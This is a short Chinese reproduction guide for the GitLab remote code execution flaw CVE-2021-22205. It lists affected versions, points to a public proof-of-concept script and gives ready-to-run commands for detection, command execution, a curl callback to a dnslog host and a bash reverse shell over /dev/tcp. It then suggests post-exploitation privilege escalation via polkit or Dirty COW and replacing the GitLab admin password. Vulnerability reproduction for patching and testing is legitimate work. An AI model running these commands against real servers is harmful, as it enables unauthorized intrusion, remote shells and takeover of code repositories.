本文主要复现2021年初出现的gitlab RCE漏洞

1.漏洞影响范围

11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3 

1.2 版本检测

cat /opt/gitlab/embedded/service/gitlab-rails/VERSION
gitlab管理员在网页段也可以找到对应的软件版本

2.漏洞复现

2.1 POC

https://github.com/Al1ex/CVE-2021-22205
推荐这个项目

2.2 漏洞验证

2.2.1 漏洞检测

python3 CVE-2021-22205.py -v true -t http://Your IP:Port

2.2.2 漏洞利用

执行命令
python3 CVE-2021-22205.py -a true -t http://Your IP:Port -c 'whoami'
dnslog 回显 (可以用dnslog或者ceye)
python3 CVE-2021-22205.py -a true -t http://Your IP:Port -c 'curl dnslog地址'
反弹shell  (内部网络的gitlab服务 不一定能出网)
python3 CVE-2021-22205.py -a true -t http://Your IP:Port -c 'bash -i >& /dev/tcp/ip/port 0>&1'

2.2.3 后续利用

前面通过rce后拿到的默认是git用户,非root用户
这里建议通过如polkit、藏牛等漏洞进行后一步提权。
如果只想要访问gitlab项目,可以参考本地修复gitlab管理员密码的方法来替换管理员密码。

在这里插入图片描述

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐